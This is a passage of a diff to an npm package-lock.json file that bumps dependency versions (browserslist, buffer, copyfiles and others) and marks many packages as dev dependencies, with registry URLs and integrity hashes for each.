"sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, "requires": { "color-name": "~1.1.4" } @@ -3170,27 +5754,32 @@ "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true }, "emoji-regex": { "version": "8.0.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", - "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==" + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true }, "is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", - "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==" + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true }, "string-width": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.0.tgz", - "integrity": "sha512-zUz5JD+tgqtuDjMhwIg5uFVV3dtqZ9yQJlZVfq4I01/K5Paj5UHj7VyrQOJvzawSVlKpObApbfD0Ed6yJc+1eg==", + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, "requires": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", @@ -3201,6 +5790,7 @@ "version": "6.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, "requires": { "ansi-regex": "^5.0.0" } @@ -3209,6 +5799,7 @@ "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -3219,6 +5810,7 @@ "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" @@ -3297,37 +5889,30 @@ } }, "browserify-rsa": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.0.1.tgz", - "integrity": "sha1-IeCr+vbyApzy+vsTNWenAdQTVSQ=", + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/browserify-rsa/-/browserify-rsa-4.1.0.tgz", + "integrity": "sha512-AdEER0Hkspgno2aR97SAf6vi0y0k8NuOpGnVH3O99rcA5Q6sh8QxcngtHuJ6uXwnfAXNM4Gn1Gb7/MV1+Ymbog==", "dev": true, "requires": { - "bn.js": "^4.1.0", + "bn.js": "^5.0.0", "randombytes": "^2.0.1" - }, - "dependencies": { - "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", - "dev": true - } } }, "browserify-sign": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.1.0.tgz", - "integrity": "sha512-VYxo7cDCeYUoBZ0ZCy4UyEUCP3smyBd4DRQM5nrFS1jJjPJjX7rP3oLRpPoWfkhQfyJ0I9ZbHbKafrFD/SGlrg==", + "version": "4.2.1", + "resolved": "https://registry.npmjs.org/browserify-sign/-/browserify-sign-4.2.1.tgz", + "integrity": "sha512-/vrA5fguVAKKAVTNJjgSm1tRQDHUU6DbwO9IROu/0WAzC8PKhucDSh18J0RMvVeHAn5puMd+QHC2erPRNf8lmg==", "dev": true, "requires": { "bn.js": "^5.1.1", "browserify-rsa": "^4.0.1", "create-hash": "^1.2.0", "create-hmac": "^1.1.7", - "elliptic": "^6.5.2", + "elliptic": "^6.5.3", "inherits": "^2.0.4", "parse-asn1": "^5.1.5", - "readable-stream": "^3.6.0" + "readable-stream": "^3.6.0", + "safe-buffer": "^5.2.0" }, "dependencies": { "readable-stream": { @@ -3340,43 +5925,52 @@ "string_decoder": "^1.1.1", "util-deprecate": "^1.0.1" } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true } } }, "browserify-zlib": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.2.0.tgz", - "integrity": "sha512-Z942RysHXmJrhqk88FmKBVq/v5tqmSkDz7p54G/MGyjMnCFFnC79XWNbg+Vta8W6Wb2qtSZTSxIGkJrRpCFEiA==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/browserify-zlib/-/browserify-zlib-0.1.4.tgz", + "integrity": "sha1-uzX4pRn2AOD6a4SFJByXnQFB+y0=", "dev": true, "requires": { - "pako": "~1.0.5" + "pako": "~0.2.0" } }, "browserslist": { - "version": "4.12.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.12.0.tgz", - "integrity": "sha512-UH2GkcEDSI0k/lRkuDSzFl9ZZ87skSy9w2XAn1MsZnL+4c4rqbBd3e82UWHbYDpztABrPBhZsTEeuxVfHppqDg==", + "version": "4.16.4", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.4.tgz", + "integrity": "sha512-d7rCxYV8I9kj41RH8UKYnvDYCRENUlHRgyXy/Rhr/1BaeLGfiCptEdFE8MIrvGfWbBFNjVYx76SQWvNX1j+/cQ==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30001043", - "electron-to-chromium": "^1.3.413", - "node-releases": "^1.1.53", - "pkg-up": "^2.0.0" + "caniuse-lite": "^1.0.30001208", + "colorette": "^1.2.2", + "electron-to-chromium": "^1.3.712", + "escalade": "^3.1.1", + "node-releases": "^1.1.71" } }, "buffer": { - "version": "5.6.0", - "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.6.0.tgz", - "integrity": "sha512-/gDYp/UtU0eA1ys8bOs9J6a+E/KWIY+DZ+Q2WESNUA0jFRsJOc0SNUO6xJ5SGA1xueg3NL65W6s+NY5l9cunuw==", + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, "requires": { - "base64-js": "^1.0.2", - "ieee754": "^1.1.4" + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" } }, "buffer-from": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", - "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==" + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true }, "buffer-indexof": { "version": "1.1.1", @@ -3425,6 +6019,12 @@ "y18n": "^4.0.0" }, "dependencies": { + "chownr": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", + "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "dev": true + }, "lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", @@ -3460,14 +6060,16 @@ } }, "cacheable-lookup": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.3.tgz", - "integrity": "sha512-W+JBqF9SWe18A72XFzN/V/CULFzPm7sBXzzR6ekkE+3tLG72wFZrBiBZhrZuDoYexop4PHJVdFAKb/Nj9+tm9w==" + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/cacheable-lookup/-/cacheable-lookup-5.0.4.tgz", + "integrity": "sha512-2/kNscPhpcxrOigMZzbiWF7dz8ilhb/nIHU3EyZiXWXpeq/au8qJ8VhdftMkty3n7Gj6HIGalQG8oiBNB3AJgA==", + "dev": true }, "cacheable-request": { "version": "7.0.1", "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-7.0.1.tgz", "integrity": "sha512-lt0mJ6YAnsrBErpTMWeu5kl/tg9xMAWjavYTN6VQXM1A/teBITuNcccXsCxF0tDQQJf9DfAaX5O4e0zp0KlfZw==", + "dev": true, "requires": { "clone-response": "^1.0.2", "get-stream": "^5.1.0", @@ -3482,12 +6084,23 @@ "version": "5.2.0", "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, "requires": { "pump": "^3.0.0" } } } }, + "call-bind": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", + "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", + "dev": true, + "requires": { + "function-bind": "^1.1.1", + "get-intrinsic": "^1.0.2" + } + }, "callsites": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", @@ -3506,7 +6119,8 @@ "camelcase": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz", - "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=" + "integrity": "sha1-fB0W1nmhu+WcoCys7PsBHiAfWh8=", + "dev": true }, "camelcase-keys": { "version": "2.1.0", @@ -3519,9 +6133,9 @@ } }, "caniuse-lite": { - "version": "1.0.30001055", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001055.tgz", - "integrity": "sha512-MbwsBmKrBSKIWldfdIagO5OJWZclpJtS4h0Jrk/4HFrXJxTdVdH23Fd+xCiHriVGvYcWyW8mR/CPsYajlH8Iuw==", + "version": "1.0.30001208", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001208.tgz", + "integrity": "sha512-OE5UE4+nBOro8Dyvv0lfx+SRtfVIOM9uhKqFmJeUbGriqhhStgp1A0OyBpgy3OUF8AhYCT+PVwPC1gMl2ZcQMA==", "dev": true }, "caseless": { @@ -3530,12 +6144,6 @@ "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", "dev": true }, - "ccount": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.0.5.tgz", - "integrity": "sha512-MOli1W+nfbPLlKEhInaxhRdp7KVLFxLN5ykwzHgLsLI3H3gs5jjFAK4Eoj3OzzcxCtumDaI8onoVDeQyWaNTkw==", - "dev": true - }, "chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", @@ -3552,12 +6160,6 @@ "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw==", "dev": true }, - "character-entities-html4": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz", - "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g==", - "dev": true - }, "character-entities-legacy": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz", @@ -3573,12 +6175,14 @@ "chardet": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", - "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" + "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==", + "dev": true }, "child-process": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/child-process/-/child-process-1.0.2.tgz", - "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=" + "integrity": "sha1-mJdNx+0e5MYin44wX6cxOmiFp/I=", + "dev": true }, "chokidar": { "version": "2.1.8", @@ -3601,24 +6205,22 @@ } }, "chownr": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/chownr/-/chownr-1.1.4.tgz", - "integrity": "sha512-jJ0bqzaylmJtVnNgzTeSOs8DPavpbYgEr/b0YL8/2GO3xJEhInFmhKMUnEJQjZumK7KXGFhUy89PrsJWlakBVg==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/chownr/-/chownr-2.0.0.tgz", + "integrity": "sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==", "dev": true }, "chrome-trace-event": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", - "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", - "dev": true, - "requires": { - "tslib": "^1.9.0" - } + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", + "dev": true }, "ci-info": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-2.0.0.tgz", - "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==" + "integrity": "sha512-5tK7EtrZ0N+OLFMthtqOj4fI2Jeb88C4CAZPu25LDVUgXJ0A3Js4PMGqrn0JU1W0Mh1/Z8wZzYPxqUrXeBboCQ==", + "dev": true }, "cipher-base": { "version": "1.0.4", @@ -3675,10 +6277,17 @@ } } }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, "cli-boxes": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/cli-boxes/-/cli-boxes-2.2.1.tgz", - "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==" + "integrity": "sha512-y4coMcylgSCdVinjiDBuR8PCC2bLjyGTwEmPb9NHR/QaNU6EUOXcTY/s6VjGMD6ENSEaeQYHCY0GNGS5jfMwPw==", + "dev": true }, "cli-cursor": { "version": "3.1.0", @@ -3692,17 +6301,26 @@ "cli-spinner": { "version": "0.2.10", "resolved": "https://registry.npmjs.org/cli-spinner/-/cli-spinner-0.2.10.tgz", - "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==" + "integrity": "sha512-U0sSQ+JJvSLi1pAYuJykwiA8Dsr15uHEy85iCJ6A+0DjVxivr3d+N2Wjvodeg89uP5K6TswFkKBfAD7B3YSn/Q==", + "dev": true + }, + "cli-spinners": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/cli-spinners/-/cli-spinners-2.6.0.tgz", + "integrity": "sha512-t+4/y50K/+4xcCRosKkA7W4gTr1MySvLV0q+PxmG7FJ5g+66ChKurYjxBCjHggHH3HA5Hh9cy+lcUGWDqVH+4Q==", + "dev": true }, "cli-width": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-2.2.1.tgz", - "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==" + "integrity": "sha512-GRMWDxpOB6Dgk2E5Uo+3eEBvtOOlimMmpbFiKuLFnQzYDavtLFY3K5ona41jgN/WdRZtG7utuVSVTL4HbZHGkw==", + "dev": true }, "clipanion": { - "version": "2.5.0", - "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.5.0.tgz", - "integrity": "sha512-VYOMl0h/mZXQC2BWq7oBto1zY1SkPWUaJjt+cuIred1HrmrcX1I2N+LNyNoRy8Iwu9r6vUxJwS/tWLwhQW4tPw==" + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/clipanion/-/clipanion-2.6.2.tgz", + "integrity": "sha512-0tOHJNMF9+4R3qcbBL+4IxLErpaYSYvzs10aXuECDbZdJOuJHdagJMAqvLdeaUQTI/o2uSCDRpet6ywDiKOAYw==", + "dev": true }, "cliui": { "version": "5.0.0", @@ -3749,6 +6367,12 @@ } } }, + "clone": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz", + "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=", + "dev": true + }, "clone-deep": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz", @@ -3773,24 +6397,15 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz", "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=", + "dev": true, "requires": { "mimic-response": "^1.0.0" } }, - "co": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", - "integrity": "sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=" - }, "code-point-at": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz", - "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=" - }, - "collapse-white-space": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-1.0.6.tgz", - "integrity": "sha512-jEovNnrhMuqyCcjfEJA56v0Xq8SkIoPKDyaHahwo3POf4qcSXqMYuwNcOTzp74vTsR9Tn08z4MxWqAhcekogkQ==", + "integrity": "sha1-DQcLTQQ6W+ozovGkDi7bPZpMz3c=", "dev": true }, "collection-visit": { @@ -3816,6 +6431,12 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz", "integrity": "sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=" }, + "colorette": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.2.tgz", + "integrity": "sha512-MKGMzyfeuutC/ZJ1cba9NqcNpfeqMUcYmyF1ZFY6/Cn7CNSAKx6a+s48sqLqyAiZuaP2TcqMhoo+dlwFnVxT9w==", + "dev": true + }, "combined-stream": { "version": "1.0.8", "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", @@ -3868,7 +6489,8 @@ "concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", + "dev": true }, "concat-stream": { "version": "1.6.2", @@ -3886,6 +6508,7 @@ "version": "5.0.1", "resolved": "https://registry.npmjs.org/configstore/-/configstore-5.0.1.tgz", "integrity": "sha512-aMKprgk5YhBNyH25hj8wGt2+D52Sw1DRRIzqBwLp2Ya9mFmY8KPvvtvmna8SxVR9JMZ4kzMD68N22vlaRpkeFA==", + "dev": true, "requires": { "dot-prop": "^5.2.0", "graceful-fs": "^4.1.2", @@ -3899,6 +6522,7 @@ "version": "3.1.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-3.1.0.tgz", "integrity": "sha512-g3FeP20LNwhALb/6Cz6Dd4F2ngze0jz7tbzrD2wAV+o9FeNHe4rL+yK2md0J/fiSf1sa1ADhXqi5+oVwOM/eGw==", + "dev": true, "requires": { "semver": "^6.0.0" } @@ -3906,7 +6530,8 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, @@ -3998,31 +6623,151 @@ } }, "copyfiles": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.2.0.tgz", - "integrity": "sha512-iJbHJI+8OKqsq+4JF0rqgRkZzo++jqO6Wf4FUU1JM41cJF6JcY5968XyF4tm3Kkm7ZOMrqlljdm8N9oyY5raGw==", + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/copyfiles/-/copyfiles-2.4.1.tgz", + "integrity": "sha512-fereAvAvxDrQDOXybk3Qu3dPbOoKoysFMWtkY3mv5BsL8//OSZVL5DCLYqgRfY5cWirgRzlC+WSrxp6Bo3eNZg==", "dev": true, "requires": { "glob": "^7.0.5", "minimatch": "^3.0.3", - "mkdirp": "^0.5.1", + "mkdirp": "^1.0.4", "noms": "0.0.0", "through2": "^2.0.1", - "yargs": "^13.2.4" + "untildify": "^4.0.0", + "yargs": "^16.1.0" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==", + "dev": true + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "is-fullwidth-code-point": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", + "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", + "dev": true + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, + "string-width": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.2.tgz", + "integrity": "sha512-XBJbT3N4JhVumXE0eoLU9DCjcaF92KLNqTmFCnG1pf8duUxFGwtP6AD6nkjw9a3IdiRtL3E2w3JDiE/xi3vOeA==", + "dev": true, + "requires": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" + } + }, + "strip-ansi": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.0.tgz", + "integrity": "sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w==", + "dev": true, + "requires": { + "ansi-regex": "^5.0.0" + } + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, + "yargs": { + "version": "16.2.0", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", + "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + 